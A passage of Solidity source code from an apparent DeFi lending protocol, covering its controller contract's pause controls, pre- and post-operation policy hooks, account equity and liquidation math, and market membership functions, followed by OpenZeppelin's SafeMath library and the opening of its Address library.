EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens;
uint256 _len = _iTokens.length();
for (uint256 i = 0; i < _len; i++) {
_setMintPausedInternal(_iTokens.at(i), _paused);
}
}
/**
* @notice pause/unpause mint() for the iToken
* @dev Admin function, only owner and pauseGuardian can call this
* @param _iToken The iToken to pause/unpause
* @param _paused whether to pause or unpause
*/
function _setMintPaused(address _iToken, bool _paused)
external
override
checkPauser(_paused)
{
_checkiTokenListed(_iToken);
_setMintPausedInternal(_iToken, _paused);
}
function _setMintPausedInternal(address _iToken, bool _paused) internal {
markets[_iToken].mintPaused = _paused;
emit MintPaused(_iToken, _paused);
}
/**
* @notice pause/unpause redeem() for all iTokens
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setAllRedeemPaused(bool _paused)
external
override
checkPauser(_paused)
{
EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens;
uint256 _len = _iTokens.length();
for (uint256 i = 0; i < _len; i++) {
_setRedeemPausedInternal(_iTokens.at(i), _paused);
}
}
/**
* @notice pause/unpause redeem() for the iToken
* @dev Admin function, only owner and pauseGuardian can call this
* @param _iToken The iToken to pause/unpause
* @param _paused whether to pause or unpause
*/
function _setRedeemPaused(address _iToken, bool _paused)
external
override
checkPauser(_paused)
{
_checkiTokenListed(_iToken);
_setRedeemPausedInternal(_iToken, _paused);
}
function _setRedeemPausedInternal(address _iToken, bool _paused) internal {
markets[_iToken].redeemPaused = _paused;
emit RedeemPaused(_iToken, _paused);
}
/**
* @notice pause/unpause borrow() for all iTokens
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setAllBorrowPaused(bool _paused)
external
override
checkPauser(_paused)
{
EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens;
uint256 _len = _iTokens.length();
for (uint256 i = 0; i < _len; i++) {
_setBorrowPausedInternal(_iTokens.at(i), _paused);
}
}
/**
* @notice pause/unpause borrow() for the iToken
* @dev Admin function, only owner and pauseGuardian can call this
* @param _iToken The iToken to pause/unpause
* @param _paused whether to pause or unpause
*/
function _setBorrowPaused(address _iToken, bool _paused)
external
override
checkPauser(_paused)
{
_checkiTokenListed(_iToken);
_setBorrowPausedInternal(_iToken, _paused);
}
function _setBorrowPausedInternal(address _iToken, bool _paused) internal {
markets[_iToken].borrowPaused = _paused;
emit BorrowPaused(_iToken, _paused);
}
/**
* @notice pause/unpause global transfer()
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setTransferPaused(bool _paused)
external
override
checkPauser(_paused)
{
_setTransferPausedInternal(_paused);
}
function _setTransferPausedInternal(bool _paused) internal {
transferPaused = _paused;
emit TransferPaused(_paused);
}
/**
* @notice pause/unpause global seize()
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setSeizePaused(bool _paused)
external
override
checkPauser(_paused)
{
_setSeizePausedInternal(_paused);
}
function _setSeizePausedInternal(bool _paused) internal {
seizePaused = _paused;
emit SeizePaused(_paused);
}
/**
* @notice pause/unpause all actions iToken, including mint/redeem/borrow
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setiTokenPaused(address _iToken, bool _paused)
external
override
checkPauser(_paused)
{
_checkiTokenListed(_iToken);
_setiTokenPausedInternal(_iToken, _paused);
}
function _setiTokenPausedInternal(address _iToken, bool _paused) internal {
Market storage _market = markets[_iToken];
_market.mintPaused = _paused;
emit MintPaused(_iToken, _paused);
_market.redeemPaused = _paused;
emit RedeemPaused(_iToken, _paused);
_market.borrowPaused = _paused;
emit BorrowPaused(_iToken, _paused);
}
/**
* @notice pause/unpause entire protocol, including mint/redeem/borrow/seize/transfer
* @dev Admin function, only owner and pauseGuardian can call this
* @param _paused whether to pause or unpause
*/
function _setProtocolPaused(bool _paused)
external
override
checkPauser(_paused)
{
EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens;
uint256 _len = _iTokens.length();
for (uint256 i = 0; i < _len; i++) {
address _iToken = _iTokens.at(i);
_setiTokenPausedInternal(_iToken, _paused);
}
_setTransferPausedInternal(_paused);
_setSeizePausedInternal(_paused);
}
/**
* @notice Sets Reward Distributor
* @dev Admin function to set reward distributor
* @param _newRewardDistributor new reward distributor
*/
function _setRewardDistributor(address _newRewardDistributor)
external
override
onlyOwner
{
address _oldRewardDistributor = rewardDistributor;
require(
_newRewardDistributor != address(0) &&
_newRewardDistributor != _oldRewardDistributor,
"Reward Distributor address invalid"
);
rewardDistributor = _newRewardDistributor;
emit NewRewardDistributor(_oldRewardDistributor, _newRewardDistributor);
}
/*********************************/
/******** Poclicy Hooks **********/
/*********************************/
/**
* @notice Hook function before iToken `mint()`
* Checks if the account should be allowed to mint the given iToken
* Will `revert()` if any check fails
* @param _iToken The iToken to check the mint against
* @param _minter The account which would get the minted tokens
* @param _mintAmount The amount of underlying being minted to iToken
*/
function beforeMint(
address _iToken,
address _minter,
uint256 _mintAmount
) external override {
_checkiTokenListed(_iToken);
Market storage _market = markets[_iToken];
require(!_market.mintPaused, "Token mint has been paused");
// Check the iToken's supply capacity, -1 means no limit
uint256 _totalSupplyUnderlying =
IERC20Upgradeable(_iToken).totalSupply().rmul(
IiToken(_iToken).exchangeRateStored()
);
require(
_totalSupplyUnderlying.add(_mintAmount) <= _market.supplyCapacity,
"Token supply capacity reached"
);
// Update the Reward Distribution Supply state and distribute reward to suppplier
IRewardDistributor(rewardDistributor).updateDistributionState(
_iToken,
false
);
IRewardDistributor(rewardDistributor).updateReward(
_iToken,
_minter,
false
);
}
/**
* @notice Hook function after iToken `mint()`
* Will `revert()` if any operation fails
* @param _iToken The iToken being minted
* @param _minter The account which would get the minted tokens
* @param _mintAmount The amount of underlying being minted to iToken
* @param _mintedAmount The amount of iToken being minted
*/
function afterMint(
address _iToken,
address _minter,
uint256 _mintAmount,
uint256 _mintedAmount
) external override {
_iToken;
_minter;
_mintAmount;
_mintedAmount;
}
/**
* @notice Hook function before iToken `redeem()`
* Checks if the account should be allowed to redeem the given iToken
* Will `revert()` if any check fails
* @param _iToken The iToken to check the redeem against
* @param _redeemer The account which would redeem iToken
* @param _redeemAmount The amount of iToken to redeem
*/
function beforeRedeem(
address _iToken,
address _redeemer,
uint256 _redeemAmount
) external override {
// _redeemAllowed below will check whether _iToken is listed
require(!markets[_iToken].redeemPaused, "Token redeem has been paused");
_redeemAllowed(_iToken, _redeemer, _redeemAmount);
// Update the Reward Distribution Supply state and distribute reward to suppplier
IRewardDistributor(rewardDistributor).updateDistributionState(
_iToken,
false
);
IRewardDistributor(rewardDistributor).updateReward(
_iToken,
_redeemer,
false
);
}
/**
* @notice Hook function after iToken `redeem()`
* Will `revert()` if any operation fails
* @param _iToken The iToken being redeemed
* @param _redeemer The account which redeemed iToken
* @param _redeemAmount The amount of iToken being redeemed
* @param _redeemedUnderlying The amount of underlying being redeemed
*/
function afterRedeem(
address _iToken,
address _redeemer,
uint256 _redeemAmount,
uint256 _redeemedUnderlying
) external override {
_iToken;
_redeemer;
_redeemAmount;
_redeemedUnderlying;
}
/**
* @notice Hook function before iToken `borrow()`
* Checks if the account should be allowed to borrow the given iToken
* Will `revert()` if any check fails
* @param _iToken The iToken to check the borrow against
* @param _borrower The account which would borrow iToken
* @param _borrowAmount The amount of underlying to borrow
*/
function beforeBorrow(
address _iToken,
address _borrower,
uint256 _borrowAmount
) external override {
_checkiTokenListed(_iToken);
Market storage _market = markets[_iToken];
require(!_market.borrowPaused, "Token borrow has been paused");
if (!hasBorrowed(_borrower, _iToken)) {
// Unlike collaterals, borrowed asset can only be added by iToken,
// rather than enabled by user directly.
require(msg.sender == _iToken, "sender must be iToken");
// Have checked _iToken is listed, just add it
_addToBorrowed(_borrower, _iToken);
}
// Check borrower's equity
(, uint256 _shortfall, , ) =
calcAccountEquityWithEffect(_borrower, _iToken, 0, _borrowAmount);
require(_shortfall == 0, "Account has some shortfall");
// Check the iToken's borrow capacity, -1 means no limit
uint256 _totalBorrows = IiToken(_iToken).totalBorrows();
require(
_totalBorrows.add(_borrowAmount) <= _market.borrowCapacity,
"Token borrow capacity reached"
);
// Update the Reward Distribution Borrow state and distribute reward to borrower
IRewardDistributor(rewardDistributor).updateDistributionState(
_iToken,
true
);
IRewardDistributor(rewardDistributor).updateReward(
_iToken,
_borrower,
true
);
}
/**
* @notice Hook function after iToken `borrow()`
* Will `revert()` if any operation fails
* @param _iToken The iToken being borrewd
* @param _borrower The account which borrowed iToken
* @param _borrowedAmount The amount of underlying being borrowed
*/
function afterBorrow(
address _iToken,
address _borrower,
uint256 _borrowedAmount
) external override {
_iToken;
_borrower;
_borrowedAmount;
}
/**
* @notice Hook function before iToken `repayBorrow()`
* Checks if the account should be allowed to repay the given iToken
* for the borrower. Will `revert()` if any check fails
* @param _iToken The iToken to verify the repay against
* @param _payer The account which would repay iToken
* @param _borrower The account which has borrowed
* @param _repayAmount The amount of underlying to repay
*/
function beforeRepayBorrow(
address _iToken,
address _payer,
address _borrower,
uint256 _repayAmount
) external override {
_checkiTokenListed(_iToken);
// Update the Reward Distribution Borrow state and distribute reward to borrower
IRewardDistributor(rewardDistributor).updateDistributionState(
_iToken,
true
);
IRewardDistributor(rewardDistributor).updateReward(
_iToken,
_borrower,
true
);
_payer;
_repayAmount;
}
/**
* @notice Hook function after iToken `repayBorrow()`
* Will `revert()` if any operation fails
* @param _iToken The iToken being repaid
* @param _payer The account which would repay
* @param _borrower The account which has borrowed
* @param _repayAmount The amount of underlying being repaied
*/
function afterRepayBorrow(
address _iToken,
address _payer,
address _borrower,
uint256 _repayAmount
) external override {
_checkiTokenListed(_iToken);
// Remove _iToken from borrowed list if new borrow balance is 0
if (IiToken(_iToken).borrowBalanceStored(_borrower) == 0) {
// Only allow called by iToken as we are going to remove this token from borrower's borrowed list
require(msg.sender == _iToken, "sender must be iToken");
// Have checked _iToken is listed, just remove it
_removeFromBorrowed(_borrower, _iToken);
}
_payer;
_repayAmount;
}
/**
* @notice Hook function before iToken `liquidateBorrow()`
* Checks if the account should be allowed to liquidate the given iToken
* for the borrower. Will `revert()` if any check fails
* @param _iTokenBorrowed The iToken was borrowed
* @param _iTokenCollateral The collateral iToken to be liqudate with
* @param _liquidator The account which would repay the borrowed iToken
* @param _borrower The account which has borrowed
* @param _repayAmount The amount of underlying to repay
*/
function beforeLiquidateBorrow(
address _iTokenBorrowed,
address _iTokenCollateral,
address _liquidator,
address _borrower,
uint256 _repayAmount
) external override {
// Tokens must have been listed
require(
iTokens.contains(_iTokenBorrowed) &&
iTokens.contains(_iTokenCollateral),
"Tokens have not been listed"
);
(, uint256 _shortfall, , ) = calcAccountEquity(_borrower);
require(_shortfall > 0, "Account does not have shortfall");
// Only allowed to repay the borrow balance's close factor
uint256 _borrowBalance =
IiToken(_iTokenBorrowed).borrowBalanceStored(_borrower);
uint256 _maxRepay = _borrowBalance.rmul(closeFactorMantissa);
require(_repayAmount <= _maxRepay, "Repay exceeds max repay allowed");
_liquidator;
}
/**
* @notice Hook function after iToken `liquidateBorrow()`
* Will `revert()` if any operation fails
* @param _iTokenBorrowed The iToken was borrowed
* @param _iTokenCollateral The collateral iToken to be seized
* @param _liquidator The account which would repay and seize
* @param _borrower The account which has borrowed
* @param _repaidAmount The amount of underlying being repaied
* @param _seizedAmount The amount of collateral being seized
*/
function afterLiquidateBorrow(
address _iTokenBorrowed,
address _iTokenCollateral,
address _liquidator,
address _borrower,
uint256 _repaidAmount,
uint256 _seizedAmount
) external override {
_iTokenBorrowed;
_iTokenCollateral;
_liquidator;
_borrower;
_repaidAmount;
_seizedAmount;
// Unlike repayBorrow, liquidateBorrow does not allow to repay all borrow balance
// No need to check whether should remove from borrowed asset list
}
/**
* @notice Hook function before iToken `seize()`
* Checks if the liquidator should be allowed to seize the collateral iToken
* Will `revert()` if any check fails
* @param _iTokenCollateral The collateral iToken to be seize
* @param _iTokenBorrowed The iToken was borrowed
* @param _liquidator The account which has repaid the borrowed iToken
* @param _borrower The account which has borrowed
* @param _seizeAmount The amount of collateral iToken to seize
*/
function beforeSeize(
address _iTokenCollateral,
address _iTokenBorrowed,
address _liquidator,
address _borrower,
uint256 _seizeAmount
) external override {
require(!seizePaused, "Seize has been paused");
// Markets must have been listed
require(
iTokens.contains(_iTokenBorrowed) &&
iTokens.contains(_iTokenCollateral),
"Tokens have not been listed"
);
// Sanity Check the controllers
require(
IiToken(_iTokenBorrowed).controller() ==
IiToken(_iTokenCollateral).controller(),
"Controller mismatch between Borrowed and Collateral"
);
// Update the Reward Distribution Supply state on collateral
IRewardDistributor(rewardDistributor).updateDistributionState(
_iTokenCollateral,
false
);
// Update reward of liquidator and borrower on collateral
IRewardDistributor(rewardDistributor).updateReward(
_iTokenCollateral,
_liquidator,
false
);
IRewardDistributor(rewardDistributor).updateReward(
_iTokenCollateral,
_borrower,
false
);
_seizeAmount;
}
/**
* @notice Hook function after iToken `seize()`
* Will `revert()` if any operation fails
* @param _iTokenCollateral The collateral iToken to be seized
* @param _iTokenBorrowed The iToken was borrowed
* @param _liquidator The account which has repaid and seized
* @param _borrower The account which has borrowed
* @param _seizedAmount The amount of collateral being seized
*/
function afterSeize(
address _iTokenCollateral,
address _iTokenBorrowed,
address _liquidator,
address _borrower,
uint256 _seizedAmount
) external override {
_iTokenBorrowed;
_iTokenCollateral;
_liquidator;
_borrower;
_seizedAmount;
}
/**
* @notice Hook function before iToken `transfer()`
* Checks if the transfer should be allowed
* Will `revert()` if any check fails
* @param _iToken The iToken to be transfered
* @param _from The account to be transfered from
* @param _to The account to be transfered to
* @param _amount The amount to be transfered
*/
function beforeTransfer(
address _iToken,
address _from,
address _to,
uint256 _amount
) external override {
// _redeemAllowed below will check whether _iToken is listed
require(!transferPaused, "Transfer has been paused");
// Check account equity with this amount to decide whether the transfer is allowed
_redeemAllowed(_iToken, _from, _amount);
// Update the Reward Distribution supply state
IRewardDistributor(rewardDistributor).updateDistributionState(
_iToken,
false
);
// Update reward of from and to
IRewardDistributor(rewardDistributor).updateReward(
_iToken,
_from,
false
);
IRewardDistributor(rewardDistributor).updateReward(_iToken, _to, false);
}
/**
* @notice Hook function after iToken `transfer()`
* Will `revert()` if any operation fails
* @param _iToken The iToken was transfered
* @param _from The account was transfer from
* @param _to The account was transfer to
* @param _amount The amount was transfered
*/
function afterTransfer(
address _iToken,
address _from,
address _to,
uint256 _amount
) external override {
_iToken;
_from;
_to;
_amount;
}
/**
* @notice Hook function before iToken `flashloan()`
* Checks if the flashloan should be allowed
* Will `revert()` if any check fails
* @param _iToken The iToken to be flashloaned
* @param _to The account flashloaned transfer to
* @param _amount The amount to be flashloaned
*/
function beforeFlashloan(
address _iToken,
address _to,
uint256 _amount
) external override {
// Flashloan share the same pause state with borrow
require(!markets[_iToken].borrowPaused, "Token borrow has been paused");
_checkiTokenListed(_iToken);
_to;
_amount;
// Update the Reward Distribution Borrow state
IRewardDistributor(rewardDistributor).updateDistributionState(
_iToken,
true
);
}
/**
* @notice Hook function after iToken `flashloan()`
* Will `revert()` if any operation fails
* @param _iToken The iToken was flashloaned
* @param _to The account flashloan transfer to
* @param _amount The amount was flashloaned
*/
function afterFlashloan(
address _iToken,
address _to,
uint256 _amount
) external override {
_iToken;
_to;
_amount;
}
/*********************************/
/***** Internal Functions *******/
/*********************************/
function _redeemAllowed(
address _iToken,
address _redeemer,
uint256 _amount
) private view {
_checkiTokenListed(_iToken);
// No need to check liquidity if _redeemer has not used _iToken as collateral
if (!accountsData[_redeemer].collaterals.contains(_iToken)) {
return;
}
(, uint256 _shortfall, , ) =
calcAccountEquityWithEffect(_redeemer, _iToken, _amount, 0);
require(_shortfall == 0, "Account has some shortfall");
}
/**
* @dev Check if _iToken is listed
*/
function _checkiTokenListed(address _iToken) private view {
require(iTokens.contains(_iToken), "Token has not been listed");
}
/*********************************/
/** Account equity calculation ***/
/*********************************/
/**
* @notice Calculates current account equity
* @param _account The account to query equity of
* @return account equity, shortfall, collateral value, borrowed value.
*/
function calcAccountEquity(address _account)
public
view
override
returns (
uint256,
uint256,
uint256,
uint256
)
{
return calcAccountEquityWithEffect(_account, address(0), 0, 0);
}
/**
* @dev Local vars for avoiding stack-depth limits in calculating account liquidity.
* Note that `iTokenBalance` is the number of iTokens the account owns in the collateral,
* whereas `borrowBalance` is the amount of underlying that the account has borrowed.
*/
struct AccountEquityLocalVars {
uint256 sumCollateral;
uint256 sumBorrowed;
uint256 iTokenBalance;
uint256 borrowBalance;
uint256 exchangeRateMantissa;
uint256 underlyingPrice;
uint256 collateralValue;
uint256 borrowValue;
}
/**
* @notice Calculates current account equity plus some token and amount to effect
* @param _account The account to query equity of
* @param _tokenToEffect The token address to add some additional redeeem/borrow
* @param _redeemAmount The additional amount to redeem
* @param _borrowAmount The additional amount to borrow
* @return account euqity, shortfall, collateral value, borrowed value plus the effect.
*/
function calcAccountEquityWithEffect(
address _account,
address _tokenToEffect,
uint256 _redeemAmount,
uint256 _borrowAmount
)
internal
view
virtual
returns (
uint256,
uint256,
uint256,
uint256
)
{
AccountEquityLocalVars memory _local;
AccountData storage _accountData = accountsData[_account];
// Calculate value of all collaterals
// collateralValuePerToken = underlyingPrice * exchangeRate * collateralFactor
// collateralValue = balance * collateralValuePerToken
// sumCollateral += collateralValue
uint256 _len = _accountData.collaterals.length();
for (uint256 i = 0; i < _len; i++) {
IiToken _token = IiToken(_accountData.collaterals.at(i));
_local.iTokenBalance = IERC20Upgradeable(address(_token)).balanceOf(
_account
);
_local.exchangeRateMantissa = _token.exchangeRateStored();
if (_tokenToEffect == address(_token) && _redeemAmount > 0) {
_local.iTokenBalance = _local.iTokenBalance.sub(_redeemAmount);
}
_local.underlyingPrice = IPriceOracle(priceOracle)
.getUnderlyingPrice(address(_token));
require(
_local.underlyingPrice != 0,
"Invalid price to calculate account equity"
);
_local.collateralValue = _local
.iTokenBalance
.mul(_local.underlyingPrice)
.rmul(_local.exchangeRateMantissa)
.rmul(markets[address(_token)].collateralFactorMantissa);
_local.sumCollateral = _local.sumCollateral.add(
_local.collateralValue
);
}
// Calculate all borrowed value
// borrowValue = underlyingPrice * underlyingBorrowed / borrowFactor
// sumBorrowed += borrowValue
_len = _accountData.borrowed.length();
for (uint256 i = 0; i < _len; i++) {
IiToken _token = IiToken(_accountData.borrowed.at(i));
_local.borrowBalance = _token.borrowBalanceStored(_account);
if (_tokenToEffect == address(_token) && _borrowAmount > 0) {
_local.borrowBalance = _local.borrowBalance.add(_borrowAmount);
}
_local.underlyingPrice = IPriceOracle(priceOracle)
.getUnderlyingPrice(address(_token));
require(
_local.underlyingPrice != 0,
"Invalid price to calculate account equity"
);
// borrowFactorMantissa can not be set to 0
_local.borrowValue = _local
.borrowBalance
.mul(_local.underlyingPrice)
.rdiv(markets[address(_token)].borrowFactorMantissa);
_local.sumBorrowed = _local.sumBorrowed.add(_local.borrowValue);
}
// Should never underflow
return
_local.sumCollateral > _local.sumBorrowed
? (
_local.sumCollateral - _local.sumBorrowed,
uint256(0),
_local.sumCollateral,
_local.sumBorrowed
)
: (
uint256(0),
_local.sumBorrowed - _local.sumCollateral,
_local.sumCollateral,
_local.sumBorrowed
);
}
/**
* @notice Calculate amount of collateral iToken to seize after repaying an underlying amount
* @dev Used in liquidation
* @param _iTokenBorrowed The iToken was borrowed
* @param _iTokenCollateral The collateral iToken to be seized
* @param _actualRepayAmount The amount of underlying token liquidator has repaied
* @return _seizedTokenCollateral amount of iTokenCollateral tokens to be seized
*/
function liquidateCalculateSeizeTokens(
address _iTokenBorrowed,
address _iTokenCollateral,
uint256 _actualRepayAmount
) external view virtual override returns (uint256 _seizedTokenCollateral) {
/* Read oracle prices for borrowed and collateral assets */
uint256 _priceBorrowed =
IPriceOracle(priceOracle).getUnderlyingPrice(_iTokenBorrowed);
uint256 _priceCollateral =
IPriceOracle(priceOracle).getUnderlyingPrice(_iTokenCollateral);
require(
_priceBorrowed != 0 && _priceCollateral != 0,
"Borrowed or Collateral asset price is invalid"
);
uint256 _valueRepayPlusIncentive =
_actualRepayAmount.mul(_priceBorrowed).rmul(
liquidationIncentiveMantissa
);
// Use stored value here as it is view function
uint256 _exchangeRateMantissa =
IiToken(_iTokenCollateral).exchangeRateStored();
// seizedTokenCollateral = valueRepayPlusIncentive / valuePerTokenCollateral
// valuePerTokenCollateral = exchangeRateMantissa * priceCollateral
_seizedTokenCollateral = _valueRepayPlusIncentive
.rdiv(_exchangeRateMantissa)
.div(_priceCollateral);
}
/*********************************/
/*** Account Markets Operation ***/
/*********************************/
/**
* @notice Returns the markets list the account has entered
* @param _account The address of the account to query
* @return _accountCollaterals The markets list the account has entered
*/
function getEnteredMarkets(address _account)
external
view
override
returns (address[] memory _accountCollaterals)
{
AccountData storage _accountData = accountsData[_account];
uint256 _len = _accountData.collaterals.length();
_accountCollaterals = new address[](_len);
for (uint256 i = 0; i < _len; i++) {
_accountCollaterals[i] = _accountData.collaterals.at(i);
}
}
/**
* @notice Add markets to `msg.sender`'s markets list for liquidity calculations
* @param _iTokens The list of addresses of the iToken markets to be entered
* @return _results Success indicator for whether each corresponding market was entered
*/
function enterMarkets(address[] calldata _iTokens)
external
override
returns (bool[] memory _results)
{
uint256 _len = _iTokens.length;
_results = new bool[](_len);
for (uint256 i = 0; i < _len; i++) {
_results[i] = _enterMarket(_iTokens[i], msg.sender);
}
}
/**
* @notice Only expect to be called by iToken contract.
* @dev Add the market to the account's markets list for liquidity calculations
* @param _account The address of the account to modify
*/
function enterMarketFromiToken(address _account)
external
override
{
require(
_enterMarket(msg.sender, _account),
"enterMarketFromiToken: Only can be called by a supported iToken!"
);
}
/**
* @notice Add the market to the account's markets list for liquidity calculations
* @param _iToken The market to enter
* @param _account The address of the account to modify
* @return True if entered successfully, false for non-listed market or other errors
*/
function _enterMarket(address _iToken, address _account)
internal
returns (bool)
{
// Market not listed, skip it
if (!iTokens.contains(_iToken)) {
return false;
}
// add() will return false if iToken is in account's market list
if (accountsData[_account].collaterals.add(_iToken)) {
emit MarketEntered(_iToken, _account);
}
return true;
}
/**
* @notice Returns whether the given account has entered the market
* @param _account The address of the account to check
* @param _iToken The iToken to check against
* @return True if the account has entered the market, otherwise false.
*/
function hasEnteredMarket(address _account, address _iToken)
external
view
override
returns (bool)
{
return accountsData[_account].collaterals.contains(_iToken);
}
/**
* @notice Remove markets from `msg.sender`'s collaterals for liquidity calculations
* @param _iTokens The list of addresses of the iToken to exit
* @return _results Success indicators for whether each corresponding market was exited
*/
function exitMarkets(address[] calldata _iTokens)
external
override
returns (bool[] memory _results)
{
uint256 _len = _iTokens.length;
_results = new bool[](_len);
for (uint256 i = 0; i < _len; i++) {
_results[i] = _exitMarket(_iTokens[i], msg.sender);
}
}
/**
* @notice Remove the market to the account's markets list for liquidity calculations
* @param _iToken The market to exit
* @param _account The address of the account to modify
* @return True if exit successfully, false for non-listed market or other errors
*/
function _exitMarket(address _iToken, address _account)
internal
returns (bool)
{
// Market not listed, skip it
if (!iTokens.contains(_iToken)) {
return true;
}
// Account has not entered this market, skip it
if (!accountsData[_account].collaterals.contains(_iToken)) {
return true;
}
// Get the iToken balance
uint256 _balance = IERC20Upgradeable(_iToken).balanceOf(_account);
// Check account's equity if all balance are redeemed
// which means iToken can be removed from collaterals
_redeemAllowed(_iToken, _account, _balance);
// Have checked account has entered market before
accountsData[_account].collaterals.remove(_iToken);
emit MarketExited(_iToken, _account);
return true;
}
/**
* @notice Returns the asset list the account has borrowed
* @param _account The address of the account to query
* @return _borrowedAssets The asset list the account has borrowed
*/
function getBorrowedAssets(address _account)
external
view
override
returns (address[] memory _borrowedAssets)
{
AccountData storage _accountData = accountsData[_account];
uint256 _len = _accountData.borrowed.length();
_borrowedAssets = new address[](_len);
for (uint256 i = 0; i < _len; i++) {
_borrowedAssets[i] = _accountData.borrowed.at(i);
}
}
/**
* @notice Add the market to the account's borrowed list for equity calculations
* @param _iToken The iToken of underlying to borrow
* @param _account The address of the account to modify
*/
function _addToBorrowed(address _account, address _iToken) internal {
// add() will return false if iToken is in account's market list
if (accountsData[_account].borrowed.add(_iToken)) {
emit BorrowedAdded(_iToken, _account);
}
}
/**
* @notice Returns whether the given account has borrowed the given iToken
* @param _account The address of the account to check
* @param _iToken The iToken to check against
* @return True if the account has borrowed the iToken, otherwise false.
*/
function hasBorrowed(address _account, address _iToken)
public
view
override
returns (bool)
{
return accountsData[_account].borrowed.contains(_iToken);
}
/**
* @notice Remove the iToken from the account's borrowed list
* @param _iToken The iToken to remove
* @param _account The address of the account to modify
*/
function _removeFromBorrowed(address _account, address _iToken) internal {
// remove() will return false if iToken does not exist in account's borrowed list
if (accountsData[_account].borrowed.remove(_iToken)) {
emit BorrowedRemoved(_iToken, _account);
}
}
/*********************************/
/****** General Information ******/
/*********************************/
/**
* @notice Return all of the iTokens
* @return _alliTokens The list of iToken addresses
*/
function getAlliTokens()
public
view
override
returns (address[] memory _alliTokens)
{
EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens;
uint256 _len = _iTokens.length();
_alliTokens = new address[](_len);
for (uint256 i = 0; i < _len; i++) {
_alliTokens[i] = _iTokens.at(i);
}
}
/**
* @notice Check whether a iToken is listed in controller
* @param _iToken The iToken to check for
* @return true if the iToken is listed otherwise false
*/
function hasiToken(address _iToken) public view override returns (bool) {
return iTokens.contains(_iToken);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
